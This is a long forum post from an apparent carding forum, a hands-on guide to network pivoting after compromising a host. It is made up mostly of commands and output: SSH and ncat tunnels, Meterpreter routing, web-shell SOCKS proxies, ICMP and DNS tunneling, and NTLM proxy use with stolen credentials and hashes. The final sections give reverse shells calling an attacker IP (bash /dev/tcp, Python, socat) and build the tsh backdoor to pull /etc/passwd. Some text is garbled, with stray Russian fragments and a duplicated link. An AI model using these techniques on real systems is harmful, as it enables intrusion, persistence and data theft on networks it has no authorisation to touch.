Network pivoting: concepts, examples, techniques and tools

Carding 4 Carders

Professional
Messages
2,731
Reputation
13
Reaction score
1,367
Points
113
What is pivoting?
Often, during a penetration test or security assessment, everything starts with the external network-with the study and evaluation of machines and services available from the global network. Attempts are made to find security gaps and, if this is successful, then penetration into the local network is performed to capture as many systems as possible.

By definition, LAN traffic is non-routable, meaning that LAN resources can be accessed by other computers that are physically connected to this network, but an attacker cannot access them.

Well, pivoting - this is a set of techniques that allow an attacker to gain access to local resources, essentially making routable traffic that is normally non-routable. Pivoting helps an attacker set up a work environment to use tools as if they were on the organization's local network.

That is, using pivoting to achieve:

1) Access to local resources

2) the Ability to use tools to scan and search for vulnerabilities from your computer in relation to a remote local network as if they were installed right there. In other words, hacker tools gain access to the local network, which is normally impossible for non-routed traffic.

This guide to pivoting is based on various sources. See the full list of sources and tools for pivoting at the end of this article.

Pivoting example
Let's imagine a situation where a vulnerability was discovered during a network survey that allows you to run commands on a remote system. Due to this vulnerability, the team

Code:
ip a

a list of network interfaces was obtained:

In addition to the public address, you can also see local network addresses:
  • 192.168.0.50
  • 127.0.0.1
  • 127.0.0.102
  • and other 127.*.*.*
List of listening ports received by the command:

Code:
ss -lntup

I also found some interesting LAN artifacts:
  • 127.0.0.100:10025
  • 127.0.0.1:27017
  • 127.0.0.103:15982
  • 127.7.0.1:80
  • other 127.*.*.*: 80
  • 127.0.0.100:8080
  • 127.0.0.100:80
  • 127.0.0.100:443
  • 127.7.0.1:443
  • 127.7.0.2:443
  • other 127. x.x. x:443
All the listed IP addresses are non-routable. I can't access them from my computer. And the administrator of that network knows this — no one can access them, so services listening to these addresses are considered local and they can be configured less securely than services accessible from the global network. And for this reason, for the" attacker", these services and computers on the local network are of particular interest.

To continue my research, I need to find other local hosts, scan for open ports, and run scanners against found services and web applications. All this requires the involvement of appropriate tools in the work. But let me remind you again under normal circumstances, I can't access a remote local network by running tools on my computer.

There are two possible options:
  • Try installing the tools directly on the remote server and running them from it. This is too complicated-I have limited rights (no root), some tools require a lot of dependencies, and such activity can easily betray my presence
  • Pivoting
I'll choose pivoting with ncat. To do this, I need to run ncat in proxy mode on a remote system. The ncat program may already be present in the system. If it is not there, it is enough to upload a single binary file to the server

So, on the remote server, I run ncat on the one configured to listen on port 3128 (-l 3128) in HTTP proxy mode (--proxy-type http):

Code:
ncat -l 3128 --proxy-type http

Now on my local computer, if not already installed, I install the program ProxyChains-NG. The essence of its work is that it transmits traffic through a proxy from those programs that do not support working with a proxy.

Before using ProxyChains-NG, I need to make a configuration. To do this, I open the file /etc/proxychains.conf:

Code:
sudo gedit /etc/proxychains.conf

I find the line there

Code:
socks4 127.0.0.1 9050

and I comment on it:

Code:
#socks4 127.0.0.1 9050

Now I add a new line:

Code:
http SERVER_IP 3128

In it:
  • http - proxy type (ncat only supports HTTP)
  • Server's IP - here I entered the real IP address of the remote computer where ncat is running and whose local network I want to explore
  • 3128 - the port you need to specify is the same as the one you specified when starting ncat
If you get an error with some nmap commands

Code:
nmap: netutil.cc:1379: int collect_dnet_interfaces(const intf_entry*, void*): Assertion `rc == 0' failed.

Then additionally in the file /etc/proxychains.conf comment out the line:

Code:
proxy_dns

I want to start by scanning open ports 192.168.0.50 - this is the local IP address. I run Nmap like this:

Code:
proxychains4 nmap -sT -PN -sV --open -n 192.168.0.50

The results obtained:

Code:
Nmap scan report for 192.168.0.50

Host is up (0.55s latency).

Not shown: 990 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.5e

111/tcp open rpcbind 2-4 (RPC #100000)

873/tcp open rsync (protocol version 30)

1022/tcp open ssh OpenSSH 5.3 (protocol 2.0)

1024/tcp open ssh OpenSSH 5.3 (protocol 1.99)

2049/tcp open nfs 2-4 (RPC #100003)

3128/tcp open http-proxy Ncat http proxy (Nmap 4.85BETA1 or later)

3306/tcp open mysql MySQL 5.5.62-38.14-log

4343/tcp open ssl/http Apache httpd

4443/tcp open ssl/http Apache httpd

Service Info: OS: Unix

The results are good — a couple of web server processes on ports 4343 and 4443. A certain process on 111. A couple of ssh on 1022 and 1024. These can be either processes open to the global network (via port forwarding), or exclusively local resources for the needs of users of the organization's network.

As a cheat sheet, let's turn to Nmap recipes. Find hosts on the local network:

Code:
proxychains4 nmap -sn 192.168.0.50/24 2>&1 | grep 'OK'

This command uses the option -sn - it skips port scanning and only shows hosts that are online. When sending requests, we receive two types of responses: denied or OK:

If the response is received (OK), which means the host is online. But the problem is that if a response is received denied (connection rejected), then nmap it also treats such a host as being online (although it filters our requests to this port). But in my case, these hosts are not online-apparently, the network (firewall) is configured when sending requests to non-existent hosts to respond denied. Therefore, at the end of the operation, nmap displays all hosts on the 192.168.0.50/24 subnet as if they exist.

Therefore, to get an adequate list, it is easier to filter the output of the command . It writes information to standard error output (it doesn't look any different from standard output, but grep can't process it), so we make a redirect: 2>&1> (this construct redirects standard error output to standard output.) As a result, we have the ability to search by the output information. proxychains4 information using grep.

The result is a valid list of local network hosts:
  • 192.168.0.1
  • 192.168.0.13
  • 192.168.0.97
  • 192.168.0.241
  • 192.168.0.247
  • 192.168.0.250
  • and so on.
Not only do we know that these hosts are online on the local network, but we can perform port scans and other investigations and attacks on each of them.

Using a ping (running on a remote computer), we will make sure that these addresses are actually available:

This is just the very beginning of the fun, and we already have: a list of interesting ports of the current host from which we run commands, a large list of addresses of computers on the local network, each of which also has ports. What else? And we also have LOOPBACK addresses - loopback addresses, when accessing which network packets do not leave the computer at all. В обычных условиях они также недоступны как и локальные IP, но с помощью pivoting мы можем исследовать и их.

If the program supports HTTP proxy, then use proxychains are optional. Let's take an example cURL - after the option -x you need to specify the IP and port of the proxy (separated by a colon) - that is, the IP of the computer through which we get to the local network. After the IP address to which the request is made, you can also specify the port of interest.

For example, I can make a request from my computer to port 15982 of the remote computer's IP address 127.0.0.103:

Code:
curl -v -x IP_ПРОКСИ:3128 127.0.0.103:15982

As a result, I got a very interesting answer:

It looks like you are trying to access MongoDB over HTTP on the native driver port.

That is, apparently it is MongoDB.

Command to collect a banner from this port using nmap:

Code:
proxychains4 nmap -n -sV --script=banner -p 15982 127.0.0.103

This command worked fine, but didn't provide any new information:

By the way, if the last nmap command caused an error:

Code:
nmap: netutil.cc:1379: int collect_dnet_interfaces(const intf_entry*, void*): Assertion `rc == 0' failed.

Then in the file /etc/proxychains.conf comment out the line:

Code:
proxy_dns

In cURL you can not only make a request to different ports, but also switch between HTTP/HTTPS protocols (just specify the Protocol before the IP address, as shown in the next command). If the certificate is invalid (this is the norm in local networks), then you can add the option -k. You can send HTTP headers, such as host names, and so on. Since the web server is configured separately for the HTTP and HTTPS Protocol, separately for each host, plus default settings, sometimes you can find incorrectly configured hosts or just unexpected results. For example, the command (a valid name for this server was specified as the host):

Code:
curl -v -x IP_PROXY: 3128 -H 'Host: SITE_ADDRESS.com' https://127.0.0.100 -k

in my case, it issued:

Code:
PHP version 5.3.28 is installed on the server, however, WordPress 5.2.1 requires at least 5.6.20.

And so on. I hope I managed to convince you that pivoting is a very powerful thing, thanks to which you can wander around someone else's local network (otherwise simply inaccessible) as if on your own.

Working through a proxy, you can scan local web servers, for example, with the command Nikto as well as use other tools.

Goal with a public IP address
A common scenario. Let's say an RCE (remote code execution) vulnerability is found in a web application accessible from the Internet. We have uploaded a shell and want to spread the attack to the local network. Note that in this particular scenario, you should be able to bind ports on the compromised host, and these ports should be accessible from the external network.

Forwarding SSH ports
Were you able to find credentials for the SSH service running on the host? Great! Connect to the host as follows:

Code:
ssh username@host -D 1080

This will create a socks server on the attacker's side (ssh-client). Welcome to the intranet ;)

Let's take a closer look at this concept, so as not to get confused. Option -D creates a proxy server NOT on the remote machine, but on the local one where this command is running.

Let's consider a specific case on the example of my experimental server, its IP address is 185.117.153.79, I chose 15555 as the listening port, then the command will be like this:

Code:
ssh [email protected] -D 15555

Port 15555 will not be listened TO on the server 185.117.153.79. This port is listened to on the local computer from which I connected. Currently, 2 types of proxies are supported: SOCKS4 and SOCKS5. So, if I want to make a connection, then I need to specify localhost as the IP address/hostname of the proxy, and also specify the port that comes after the-d option.

Let's say I want to get a web page from the host server 185.117.153.79. To do this, I run the following command:

Code:
curl --socks5 localhost:15555 localhost

It uses "localhost" twice - but these are completely different localhosts!!!

-- socks5 localhost: 15555 is an option to connect to a proxy that was created using ssh. When a request is received to this proxy, it is forwarded via the ssh tunnel to the remote host to which the ssh connection is made. A request was made to this remote host by the curl program to localhost: 80 (the eightieth port is assumed by default). As a result, the request made using curl was sent to the local web server of the remote computer.

In this way, you can use proxy-enabled programs to scan and exploit the local resources of a remote computer. For example, you can use sqlmap, WPScan, and others.

In this way, you can access more than just HTTP resources on a remote LAN. You can use any programs that support working through a proxy.

Of course, you can also use it as a regular proxy to hide your real IP address.

It is also possible to forward one specific port to a specific host. Let's say you need access to an SMB resource on the internal network on the host 192.168.1.1.

Code:
ssh username@host -L 445:192.168.1.1:445

This way, port 445 will be opened on the attacker's computer. And programs even without proxy support will be able to work with remote local resources. In these programs, you need to specify localhost or the IP address 127.0.0.1 as the host for connecting . Keep in mind that listening on privileged ports (numbers below 1024) on the local computer requires root privileges; however, you don't have to choose the same port number as on the remote machine, so you can do this without superuser rights::

Code:
ssh username@host -L 11445:192.168.1.1:445

As a result, the connections received on port 11445 of the attacker's computer will be redirected to port 445 of the remote system (to its local network).

Using web traffic as an example:

Code:
ssh -L 10080:localhost:80 [email protected]

As a result of this command, all requests received on port 10080 of the attacker's computer will be sent to port 80 of the computer 185.117.153.79.

As a result, the command:

Code:
curl localhost:10080

Displays the contents of the localhost web page of the computer 185.117.153.79.

Once again, the most important thing about this method is that even applications without proxy support can access resources on the local network of a remote computer.

Pivoting c ncat
The advantages of SSH are that for accessing local resources:
No RCE or other vulnerability required.
You don't need to download or install any programs or files on the remote system-SSH is present on most servers.

The disadvantages of SSH are that for accessing local resources:
You need SSH user credentials (not necessarily superuser - any user).)

Alternatively, you can use Ncat, which can do all the same things that we can achieve with SSH

The advantages of Ncat are that for accessing local resources:
No user credentials needed

The disadvantages of SSH are that for accessing local resources:
Requires RCE or another vulnerability that allows you to execute commands on a remote system. Either SSH access is required.
Not every server can have Ncat installed. In this case, you need to make a simple installation (it does not require elevated privileges - just upload one executable file to the server).

VPN over SSH
With the 4.3 release of openssh, it is now possible to tunnel layer 3 network traffic through an established ssh channel. This has an advantage over a typical tcp tunnel, since ip traffic is controlled. So, for example, you can perform a SYN scan with nmap and use the tools directly without resorting to proxychains and other proxying tools. This is done by creating tun devices on the client and server sides and transferring data between them over an ssh connection. This is quite simple, but you need root rights on both machines, since creating tun devices is a privileged operation. These lines must be present in your /etc/ssh/sshd_config file (on the server side):

Code:
PermitRootLogin yes

PermitTunnel yes

The next command to run on the client will create a pair of tun devices on the client and server:

Code:
ssh username@server -w any:any

The-w flag accepts the Tun numbers of devices on each side, separated by a colon. You can specify-w 0:0 explicitly, or you can use the-w any:any syntax to use the next available number for the device's tun.

To view the created tunnel interfaces, use the command:

Code:
ip a

or a team:

Code:
ifconfig -a

The tunnel between tun devices is installed, but the interfaces are not configured yet.

Please note that the name of the real network device eth0 (for the main network connection on the server) may be different in your case. Also, the following commands are written based on the fact that on both machines the tunnel interface is numbered 0, that is, they are called tun0. These interfaces may have different numbers if other tunnels were already present on the system (for example, created for VPN connections). Consequently, subsequent commands may need to be adjusted to their own conditions.

Example of client-side configuration:

Code:
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0

On the server side:

Code:
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0

Enabling ip forwarding and NAT on the server:

Code:
sysctl -w net.ipv4.ip_forward=1

iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Now you can make the 1.1.1.1 host peer your default gateway or redirect requests to specific hosts/networks through it:

Code:
route add -net 10.0.0.0/16 gw 1.1.1.1

3proxy
You can download the program here: https://github.com/z3APA3A/3proxy/releases

This tool works on different platforms. For Windows, there are compiled executable files. For Linux, look for this program in the repositories for your distribution or just compile it from the source codes, since this is enough:

Code:
./configure && make

This tool in the proxy world is a real Swiss army knife, it has a huge number of functions. It is usually used as a SOCKS proxy or for forwarding ports.

This tool gets all its options from the configuration file. To launch it:

Code:
3proxy.exe config_file

Or if you have Linux:

Code:
./3proxy config_file

To run 3proxy as a socks5 proxy on port 1080, put the following line in the configuration file:

Code:
socks -p1080

Now you can tunnel (transmit traffic) most of your penetration testing tools to develop an attack on the internal network. This is the simplest setup, and not very secure. You can play around with the options to add authentication and / or IP-based access control rules. Full manual here: https://3proxy.ru/howtoe.asp

To tunnel a specific port, use the following syntax::

Code:
tcppm <local_port> <target_host> <target_port>

Meterpreter
Meterpreter allows you to create pivoting routes within the network for use with built-in modules (see the source links for an example). For automatic routing, simply use the following:

Code:
run autoroute -s 192.168.5.1/24

To display routes

Code:
run autoroute -p

Meterpreter - SOCKS Proxy
Now you can run other tools via Meterpreter using proxychains.

Code:
use auxiliary/server/socks4a

set SRVPORT 8080

run

Single port redirection

The command below will redirect rdesktop sessions from localhost on port 3389 to the target 192.168.5.9 via Meterpreter as a tunnel:

Code:
portfwd add -L 127.0.0.1 -l 3389 -r 192.168.5.9 -p 3389

AutoSSH
AutoSSH is a tool that allows you to automatically restart SSH sessions and tunnels. The following command will open port 2222 on the attacker's host and tunnel to the compromised host on port 22. Then you can set up a dynamic SSH SOCKS proxy and connect to localhost: 2222, and you can redirect traffic normally through the compromised host.

Code:
autossh -M 0 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -L 2222:localhost:22 [evil]@[attacker]

SOCKSP proxy via web shell (reGeorg)
This tool has not been updated for a long time and did not work at all for me.

The essence of the program is that one of the scripts (php, jsp, etc.) is loaded on the web server, and A python2 script is run on the local computer, which starts listening on the specified port. Any program that supports SOCKS can connect to this port. Thus, it turns out:

Code:
Python2 script + script uploaded to the web server = SOCKS proxy

Programs that use this proxy will have the external IP address of the web server.

Source code: https://github.com/sensepost/reGeorg. There is also a more up-to-date fork: https://github.com/sensepost/reGeorg

None of them worked with the tunnel through PHP. It may be working with some other delivery mechanism: aspx, asph, jsp, or my hosting just didn't fit.

Launch example:

Code:
python2 ./reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp

As a result, the proxy address will be localhost, the port will be 8080, and the channel output point will be the server hosting the file http://compromised.host/shell.jsp.

Pivoting if the target is behind NAT
This is also a common situation. Using NAT means that all open ports on the target, except for those for which forwarding rules are specifically prescribed in the network equipment, will not be accessible from outside. One possible solution is to initiate a reverse connection. The tools described below will help you do this.

Reverse SSH port forwarding with 3proxy
Setting up pivoting looks something like this:

On the target server, run the 3proxy service with the following configuration:

Code:
socks -p31337

Create a separate user on the receiving end (attacker's machine):

Code:
adduser sshproxy

This user will have low privileges and should not have shell permissions. After all, you don't want to go from being a pentesting subject to becoming an object, do you?

Edit /etc/passwd and switch the shell to /bin/false. It should be something like this:

Code:
root:x:0:0:root:/root:/bin/bash

sshproxy:x:1000:1001:,,,:/home/sshproxy:/bin/false

Now connect from the remote (compromised) machine to your server, with the newly created user, with the-R flag. On Linux systems:

Code:
ssh sshproxy@ВАШ_СЕРВЕР -R 31337:127.0.0.1:31337

For Windows, you first need to upload the file to the compromised computer plink.exe. This is the console version of putty. To launch it:

Code:
plink.exe sshproxy @ YOUR_SERVER -R 31337: 127.0.0.1: 31337

The-R flag allows you to bind the port on the server side. All connections to this port will be forwarded to the specified client port. In this way, we can run the 3proxy socks service on the client side (the compromised machine) and access this port on the attacking machine via the ssh-R flag.

Rpivot
Another method of working with NAT connections. Rpivot is a reverse socks proxy tool that allows you to tunnel traffic through socks proxies. It makes a reverse connection to your machine and creates a socks proxy on it. It works much like ssh-D, but in reverse. On the server side:

Code:
python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

On the client side:

Code:
python client.py --server-ip <ip> --server-port 9999

As a result, the server will raise the socks4 proxy on port 1080.

Exfiltrating from the internal network
There are various situations, including cases of very limited ability to create connections and execute commands on a compromised machine. Of course, if you have direct access from the Internet and there are no firewalls, you can use any of the techniques described above. But even if you're not too lucky, you can still find a way to use pivot.

ICMP tunneling
If icmp traffic to external networks is allowed, then it is highly likely that you can establish an icmp tunnel. The disadvantage is that you need root/administrator privileges on the target system due to the need to use raw sockets. Take a look here http://code.gerade.org/hans/.

Server-side command (attacker's machine):

Code:
./hans -v -f -s 1.1.1.1 -p P@ssw0rd

The-v flag is for verbality, the-f flag is for running in the background, and the-s flag is the server IP value on the interface being created by the tun.

On the client side:

Code:
./hans -f -c <server_ip> -p P@ssw0rd -v

After successful connection, the client will be directly visible on 1.1.1.100:

Code:
ping 1.1.1.100

PING 1.1.1.100 (1.1.1.100) 56(84) bytes of data.

64 bytes from 1.1.1.100: icmp_seq=1 ttl=65 time=42.9 ms

You can now use this machine as a gateway to the internal network, use this machine as the default gateway, or connect to management interfaces (ssh/tsh/web shell).

DNS tunneling
If any WAN (to the Global network) traffic is blocked other than name translation (DNS) traffic, then you can tunnel through DNS queries. This technique requires a registered domain name and a server with an external IP address.

Iodine
If it so happens that you have root access on the server, then you can try iodine. The program works almost like icmp tunneling in the hans tool-it creates a pair of tun adapters and transmits data through the tunnel between them using DNS queries. On the server side:

Code:
iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com

On the client side:

Code:
iodine -f -P P@ssw0rd tunneldomain.com -r

A successful connection will result in a direct view of the client at 1.1.1.2. please Note that this tunneling technique is quite slow. It is best to use a compressed ssh connection on top of the resulting connection:

Code:
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

Dnscat2
Dnscat2 establishes the C&C channel through recursive DNS queries. This tool does not require root / administrative access (it works on both Windows and linux). It also supports port forwarding. On the server side:

Code:
ruby ./dnscat2.rb tunneldomain.com

On the client side:

Code:
./dnscat2 tunneldomain.com

After receiving a server-side connection, you can see active sessions with the windows command:

Code:
dnscat2> windows

0 :: main [active]

dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]

1 :: command session (debian)

2 :: sh (debian) [*]

To initiate port forwarding, select the session command with session-i <number><number>:

Code:
dnscat2> session -i 1

New window created: 1

New window created: 1

history_size (session) => 1000

This is a command session!

That means you can enter a dnscat2 command such as

'ping'! For a full list of clients, try 'help'.

command session (debian) 1>

Use the listen [lhost] command:]lport rhost:rport to redirect to port:

Code:
command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80

Ethos starts listening for 8080 on the attacker's machine and redirects all connections to 10.0.0.20: 80.

Using a corporate HTTP proxy
An organization's HTTP proxies, designed for employees to be able to access external web applications, present good exfiltration capabilities if you have the correct credentials.

Rpivot
This tool is already mentioned in the NAT section. It also supports connecting to the outside world via an NTLM HTTP proxy. The server-side command remains unchanged. use the client-side command as follows:

Code:
python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd

If you have LM instead of a password:NT hashes:

Code:
python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Cntlm
Cntlm is a tool for running any programs that do not support requests via an NTLM proxy. Basically, this tool authenticates to a proxy server and locally binds a port that is forwarded to the external service you specify. This port binding does not require any authentication, so you can directly use your tools (such as putty/ssh). It uses a configuration file for its operation. Here is an example of the barebones configuration for forwarding port 443 (this port will most likely be resolved via a proxy server):

Code:
Username Alice

Password P@ssw0rd

Domain CONTOSO.COM

Proxy 10.0.0.10:8080

Tunnel 2222:<attackers_machine>:443

Launching it:

Code:
cntlm.exe -c config.conf

Or if you're on Linux:

Code:
./cntlm -c config.conf

Now, if you have ssh running on a remote host on port 443, you can start the ssh client (openssh/putty) and connect to the local port 2222 to access the external computer.

OpenVpn via HTTP proxy
OpenVpn is huge, so configuring it from scratch is beyond the scope of this post (it's already covered on the page).Instructions for configuring the OpenVPN server and client). Just a quick mention - it also supports tunneling tcp connections through NTLM proxy servers. Add this line to your configuration file:

Code:
http-proxy <IP_PROXY> 8080 <FILE_With_ACCOUNT_DATA> ntlm

The credentials file must contain the user name and password on separate lines. And Yes, you need root.

Using SOCKS with proxychains
If your program doesn't use raw sockets (such as nmap does in SYN scanning), then most likely you can use proxychains to force your program to work through the socks or http proxy. Edit the proxy settings in the /etc/proxychains.conf file:

Code:
[ProxyList]

# add proxy here ...

# by the way

# default is set to use "tor"

socks4 127.0.0.1 3128

Everything is ready. Just add proxychains to the command line in front of your favorite hacking tool:

Code:
proxychains PROGRAM_NAME

Usage psexec.py from impacket with proxychains:

DNS with proxychains
Proxychains does not follow the socks RFC when it comes to resolving hostnames. It intercepts the gethostbyname libc call and tunnels the tcp DNS request through the socks proxy. The fact is that the DNS server is hard-coded for 4.2.2.2. You may want to change the name server to allow names on the internal network. A typical scenario is to replace the name server with a domain controller if you are testing a Windows environment. The configuration is located in /usr/lib/proxychains3/proxyresolv:

Code:
#!/bin/sh

# This script is called by proxychains to resolve DNS names

# DNS server used to resolve names

DNS_SERVER=${PROXYRESOLV_DNS:-4.2.2.2} #здесь измени имя имён

if [ $# = 0 ] ; then

echo " usage:"

echo " proxyresolv <hostname> "

exit

fi

Improving the web shell
This section is not directly related to either pivoting or tunneling, but describes how to simplify your work when developing an attack on the internal network. Often, using a web shell is quite tedious, especially when using programs that expect an interactive command interface.

Reverse shell using Bash. Reverse shell with PHP, Python, and PERL
We will not dwell on this topic in detail, we will only consider the reverse shell without any programs at all, except for the Bash shell, which is present almost everywhere by default.

You should start by getting ready to accept a reverse shell:

Code:
ncat -l 4444

In other words, ncat is running in listening mode (-l) port 4444.

Assume that the attacker's IP is 5.26.122.50, then a reverse shell can be called from the compromised machine as follows:

Code:
bash -i >& /dev/tcp/5.26.122.50/4444 0>&1

Other examples using PHP, Python, PERL, and so on can be found, for example, here: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Python PTY shell
To improve on the normal semi interactive shell you can run the following command in your existing shell:

Code:
python -c 'import pty; pty.spawn("/bin/bash")'

Or initiate a reverse connection:

Code:
python -c 'import socket,subprocess,os;\

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\

s.connect(("<attackers_ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);\

os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Socat
Socat is Netcat on steroids! Seriously, take a look at the man socat manual for this tooland you'll be surprised at what you can do with this tool regarding tunneling. Among other things, it can create a fully interactive shell, even better than the aforementioned python-pty. The downside is that you will most likely have to compile/install this tool on the target server, as it is not the default utility in most unix-like distributions.

Shell

Setting the listener:

Code:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Connecting to the listener:

Code:
socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Reverse shell

Setting the listener:

Code:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Connecting to the attacker's machine

Code:
socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Terminal size
By default, the terminal size is quite small, as you may notice when running the top command or editing files in a text editor. You can easily change this by using the stty-a commandto get the size of your regular terminal:

Code:
stty -a

speed 38400 baud; rows 57; columns 211; line = 0;

Apply the desired size to your socat terminal:

stty rows 57 cols 211

Tsh
Tsh is a small ssh-like backdoor with a full-fledged terminal and the ability to transfer files. This tool takes up very little space and is easy to build on most Unix-like systems. Start by editing the tsh.h file:

Code:
#ifndef _TSH_H

#define _TSH_H

char *secret = "never say never say die";

#define SERVER_PORT 22

short int server_port = SERVER_PORT;

/*

#define CONNECT_BACK_HOST "localhost"

#define CONNECT_BACK_DELAY 30

*/

#define GET_FILE 1

#define PUT_FILE 2

#define RUNSHELL 3

#endif /* tsh.h */

Replace secret and specify SERVER_PORT. If you need a reverse connection, uncomment and edit the CONNECT_BACK_HOST and CONNECT_BACK_DELAY directives. Run make:

Code:
make linux_x64

make \

LDFLAGS=" -Xlinker --no-as-needed -lutil" \

DEFS=" -DLINUX" \

tsh tshd

make[1]: Entering directory '/tmp/tsh'

gcc -O3 -W -Wall -DLINUX -c pel.c

gcc -O3 -W -Wall -DLINUX -c aes.c

gcc -O3 -W -Wall -DLINUX -c sha1.c

gcc -O3 -W -Wall -DLINUX -c tsh.c

gcc -Xlinker --no-as-needed -lutil -o tsh pel.o aes.o sha1.o tsh.o

strip tsh

gcc -O3 -W -Wall -DLINUX -c tshd.c

gcc -Xlinker --no-as-needed -lutil -o tshd pel.o aes.o sha1.o tshd.o

strip tshd

make[1]: Leaving directory '/tmp/tsh'

Run it on the server

Code:
./tshd

and the program will start listening on the specified port. You can connect to it by running the following command:

Code:
./tsh host_ip

If tsh was compiled with the reverse connection function, the TSHD daemon will try to connect to the attacker's machine. To start the listener on the attacking side:

Code:
./tsh cb

Waiting for the server to connect...

To send a file with tsh:

Code:
./tsh host_ip get /etc/passwd 

./tsh host_ip put /bin/netcat /tmp

List of sources

Pivoting tools
 
Top